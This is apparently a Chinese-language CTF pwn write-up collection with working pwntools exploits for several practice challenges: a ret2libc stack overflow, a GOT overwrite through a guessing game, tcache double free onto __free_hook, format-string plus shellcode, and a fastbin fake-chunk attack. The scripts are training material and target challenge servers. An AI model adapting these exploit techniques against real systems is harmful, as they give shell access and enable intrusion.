xdctf2015_pwn200

**题,简单题,五分钟能出的题给👴整了一个多小时,全是本地的libc咋也加载不上去,干脆直接LibcSearcher
没啥好说的,只开了nx
exp:

from pwn import *
from LibcSearcher import LibcSearcher
#libc = ELF('./libc.so.6')
#elf = ELF('./bof')
local = 0

if local == 1:
    p = process('./bof')
else:
    p = remote('node3.buuoj.cn',25267)

p.recvuntil('Welcome to XDCTF2015~!\n')

offset = 0x6C + 0x4
write_plt = 0x080483C0

main_addr = 0x0804851C
write_got = 0x0804A01C

payload = offset * b'A' + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got) + p32(0x4)
p.sendline(payload)

write_addr = u32(p.recv()[0:4])

libc = LibcSearcher('write',write_addr)

print("write:" + hex(write_addr))

libc_base = write_addr - libc.dump('write')
print('libcbase:' + hex(libc_base))

system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print(hex(binsh_addr))
payload = offset * b'A' + p32(system_addr) * 2 + p32(binsh_addr)
p.sendline(payload)
p.interactive()

[BJDCTF 2nd]secret

第一次碰见这样的题,好题!
没有做出来wtcl
总结,为啥没做出来?
1,找到溢出点了但是不知道怎么利用
2,碰见一堆汇编码就看不下去了,没有仔细分析
完整解题过程:
checksec发现只开了nx
拿到ida

main函数: 
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  myinit();
  if ( judge(a1, a2) )
    wrong();
  system("cat /flag");
  return 0LL;
}

发现是有后门的,但是好像要不触发if才可以,如果if条件满足,就会进入wrong,点进去看看是这样的
wrong函数:

void __noreturn wrong()
{
  puts("#====================================#");
  puts("#             GAME OVER              #");
  puts("#====================================#");
  write_string("#        BYE BYE~                    #", 0x12);
  printf(buf, 0x12LL);
  puts(&byte_46B0A7);
  puts("@====================================@");
  exit(0);
}

就退出程序了,那么我们点进去if里面的judge函数看看

这段无法显示为伪代码(好像是大小限制的原因,改idc脚本应该可以反编译,但是我不会orz)
仔细阅读汇编码,可以发现里面有很多比较的操作,我们走到程序里,不妨输入一个数字看看,发现是猜数字的游戏,连续猜对就可以获得flag,但是要猜10000次,在myinit函数里面

第一个点是一个指针,里面存了10000,应该就是猜对的次数,但是是指针,指针都是非常危险的~
然后第二个点就是有一个read,可以溢出,我们点进去buf看看

可以看到那个指针就在buf下面0x10处,但是我们可控的空间是0x16,所以我们可以控制target指针。
那么我们控制到哪里呢?
我们在pwndbg里面发现printf的plt和system的plt很接近,就差0x10,而且是printf的plt比system的大0x10,所以我们可以把target改写成printf的got地址,然后每当猜对一次target就会减一,当我们猜对15次,第十六次猜错就会调用printf

而这个时候,printf@plt已经被改成了system@plt,然后存在buf里面的字符串会被当成参数传入system,所以我们只需要在输入name的时候把binsh打进去就好了
exp:

from pwn import *

local = 0

#context.log_level = 'debug'

if local == 1:
    p = process('./secret')
else:
    p = remote('node3.buuoj.cn',25527)

elf = ELF('./secret')
printf_got = elf.got['printf']

payload = b'/bin/sh\x00' + b'A' * (0x10 - 0x8) + b'\x40\xD0\x46'  #最后面的是printf的got地址,当然也可以用p32发过去                         

#print(payload)
p.sendline(payload)
#pause()
number = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]        

for i in range(0,15):
	payload = number[i]
	p.recvuntil('Secret:')
	p.sendline(str(payload))
#pause()
p.sendlineafter('Secret:','1')
p.interactive()

ciscn_2019_es_1

今天太忙了,刚搬了宿舍,换了新环境,忙里偷闲打了一道去年的国赛题
目前就找到两种思路,第一种思路打fastbin的时候有些问题,因为不太清楚python怎么传空字符串之类的问题,导致结构体里面的指针一直在变,所以这种思路等过两天有空的时候再想想吧。第二种思路就是打__free_hook,__free_hook(ready to free) === system("/bin/sh\x00")
几个点:
当题目对于申请的chunk大小限制无要求,我们可以申请大chunk,free后放入unsorted bin直接泄漏libc
攻击__free_hook比one_gadget更简单
exp:

from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'
local = 1

if local == 1:
	p = process('./ciscn_2019_es_1')
else:
	p = remote('node3.buuoj.cn',25338)

def add(size,name,num):
	p.sendlineafter('choice:','1')
	p.sendlineafter('Please input the size of compary\'s name',str(size))
	p.sendafter('please input name:',name)
	p.sendafter('please input compary call:',num)

def show(index):
	p.sendlineafter('choice:','2')
	p.sendlineafter('Please input the index:',str(index))

def delete(index):
	p.sendlineafter('choice:','3')
	p.sendlineafter('Please input the index:',str(index))

'''
print("第一种思路:利用fastbin attack 攻击__malloc_hook函数,尚未成功")
print("========== step 1 : leak libc ============")
add(0x410,'a','b')	#0
add(0x10,'c','d')	#1
delete(0)
show(0)
p.recvuntil('name:\n')
__malloc_hook = u64(p.recv(6) + b'\x00\x00') - 96 - 0x10
libc = LibcSearcher('__malloc_hook',__malloc_hook)
libc_base = __malloc_hook - libc.dump("__malloc_hook")
print("libc base : " + hex(libc_base))

print("=========== step 2 : fastbin attack =========")
add(0x60,'A','B')	#3
delete(3)
delete(3)
add(0x60,p64(__malloc_hook-0x23),'hack')

print("=========== step 3 : one_gadget =========")
one_gadget_list = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = libc_base + one_gadget_list[1]
add(0x60,0x13 * b'A' + p64(one_gadget),'hhhh')
#add(0x10,'a','b')
pause()
p.interactive()
'''
print("第二种思路:利用unsorted bin逃逸出tcache bin,然后攻击__free_hook")
print("====================== step1 : leak libc =================")
add(0x410,b'A' * 8,b'B')	#0
add(0x10,b'/bin/sh\00',b'D')		#1
add(0x10,b'123',b'hack')		#2
delete(0)
show(0)
p.recvuntil('name:\n')
__malloc_hook = u64(p.recv(6) + b'\x00\x00') - 96 -0x10
print(hex(__malloc_hook))

libc = LibcSearcher('__malloc_hook',__malloc_hook)
libc_base = __malloc_hook - libc.dump('__malloc_hook')
print("libc base:" + hex(libc_base))

print("============ step2 : attack __free_hook function =================")
print("__free_hook(chunk_mem) === system(binsh) ")
print("so we need change '__free_hook' to 'system' ")

__free_hook = libc_base + libc.dump("__free_hook")
system_addr = libc_base + libc.dump("system")

delete(2)
delete(2)

add(0x10,p64(__free_hook),b'lemon')		#3
add(0x10,p64(system_addr),b'hack')		#4

delete(2)
p.interactive()

临时加个攻防世界:string

这个题是有个师傅问我的,其实原来做过了,但是好久没有玩过格式化字符串漏洞了,就重新做一下
收获的几个点:
1,注意mmap函数的第三个参数
2,shellcode = asm(shellcraft.sh())能打通,如果再加上str()就不可以了
exp:

from pwn import *

context.log_level = 'debug'
local = 0

if local == 1:
	p = process('./dragon')
else:
	p = remote('220.249.52.133',37799)

p.recvuntil("secret[0] is ")
address = int(p.recvuntil("\n"),16)
print(hex(address))

p.sendlineafter("What should your character's name be:\n",'name')
p.sendlineafter("So, where you will go?east or up?:\n",'east')
p.sendlineafter("go into there(1), or leave(0)?:\n",'1')
p.sendlineafter("'Give me an address'\n",str(address))

print("经过测试,发现格式化字符串是第7个参数")
payload = fmtstr_payload(7,{address:85})
p.sendlineafter("And, you wish is:\n",payload)

print("经过格式化字符串,我们可以发送shellcode了,因为mmap的第三个参数")
context(os = 'linux',arch = 'amd64')
shellcode = asm(shellcraft.sh())
#shellcode = asm(shellcraft.amd64.linux.sh())
print(shellcode)
#shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.recvuntil("Wizard: I will help you! USE YOU SPELL")
p.sendline(shellcode)
p.interactive()

wustctf2020_closed

学到了,抽空得学习下IO_FILE的知识
0,1,2 分别对应 stdin stdout stderr
close(1) close(2)是关闭了将程序的输出显示到屏幕上,并且关闭了报错信息




可以看到我们其实已经拿到了shell,那么我们直接重定向就好 exec 1>&0
不需要exp 直接nc就好

hitcontraining_magicheap

逆向

main函数,发现框起来的地方有些可疑

点开函数,发现有后门

创建堆块

编辑堆块,存在漏洞,可以自定义堆块编辑的大小(老漏洞了

删除堆块,🈚️UAF

因为没有show函数之类的,所以很难泄漏信息,正好程序没开pie,干脆直接利用后门,想办法在magic附近伪造chunk


find_fake_fast永远滴神!!

exp

环境可能出问题了,同样的exp打了十次才通,本地是通了,远程也终于通了

from pwn import *

context.log_level = 'debug'

local = 0
if local == 1:
    p = process('./magicheap')
else:
    p = remote('node3.buuoj.cn',25199)

def add(size,content):
    p.sendlineafter('Your choice :','1')
    p.sendlineafter('Size of Heap :',str(size))
    p.sendafter('Content of heap:',content)

def edit(index,size,content):
    p.sendlineafter('Your choice :','2')
    p.sendlineafter('Index :',str(index))
    p.sendlineafter('Size of Heap :',str(size))
    p.sendafter('Content of heap:', content)

def free(index):
    p.sendlineafter('Your choice :', '3')
    p.sendlineafter('Index :',str(index))

print("===== 第一种思路: 不管后门,直接fastbin attack 打mallochook ======")
print("======= 但是没有show函数,我们无法泄漏libc ======")
print("所以综上考虑,要不我们还是利用后门好了-.-||")
'''
add(0x10,b'A' * 8)  #chunk0
add(0x30,b'a' * 8)  #chunk1
free(1)
fake_chunk = 0x602062
payload = 0x10 * b'A' + p64(0) + p64(0x41) + p64(fake_chunk)
print("payload length:" + str(len(payload)))
#print(p.recv())
#edit(0,41,payload)
'''

print("double free搞一下")

add(0x30,'A')   #chunk0
add(0x60,'B')   #chunk1

fake_chunk = 0x60207D

free(1)

payload = 0x30 * b'A' + p64(0) + p64(0x71) + p64(fake_chunk)

print("这里不知道哪里错了,编辑功能总是上不去,可能是函数内部编写的有问题,懒得看了-.-")

p.sendline('2')
p.sendline('0')
p.sendline(str(len(payload)))
p.send(payload)

#edit(0,len(payload),payload)

add(0x60,p64(fake_chunk))

payload = 0x13 * b'A' + p64(0x1306)
add(0x60,payload)

p.interactive()

bjdctf_2020_router

好题,感觉这种题才有意思,不像别的题,直接栈溢出啥的或者ROP链
直接看main函数

我们可以利用留言功能,虽然无法栈溢出,但是可以污染数组dest,为什么要污染dest?因为在1里面有system(dest),我们只需要污染dest,变成binsh即可拿到shell
exp

from pwn import *

local = 0
if local == 1:
	p = process('./bjdctf_2020_router')
else:
	p = remote('node3.buuoj.cn',29147)

elf = ELF('./bjdctf_2020_router')
libc = ELF('./libc.so.6')

def dbg():
	context.log_level = 'debug'

#dbg()
p.recvuntil('Please input u choose:\n')
p.sendline('3')
p.recvuntil('Your suggest will help us to do better!')

payload = 0x20 * b'A' + b'/bin/sh\x00'
payload = payload.ljust(0x3A,b'a')
p.send(payload)

p.recvuntil('Please input u choose:\n')
p.sendline('1')
p.interactive()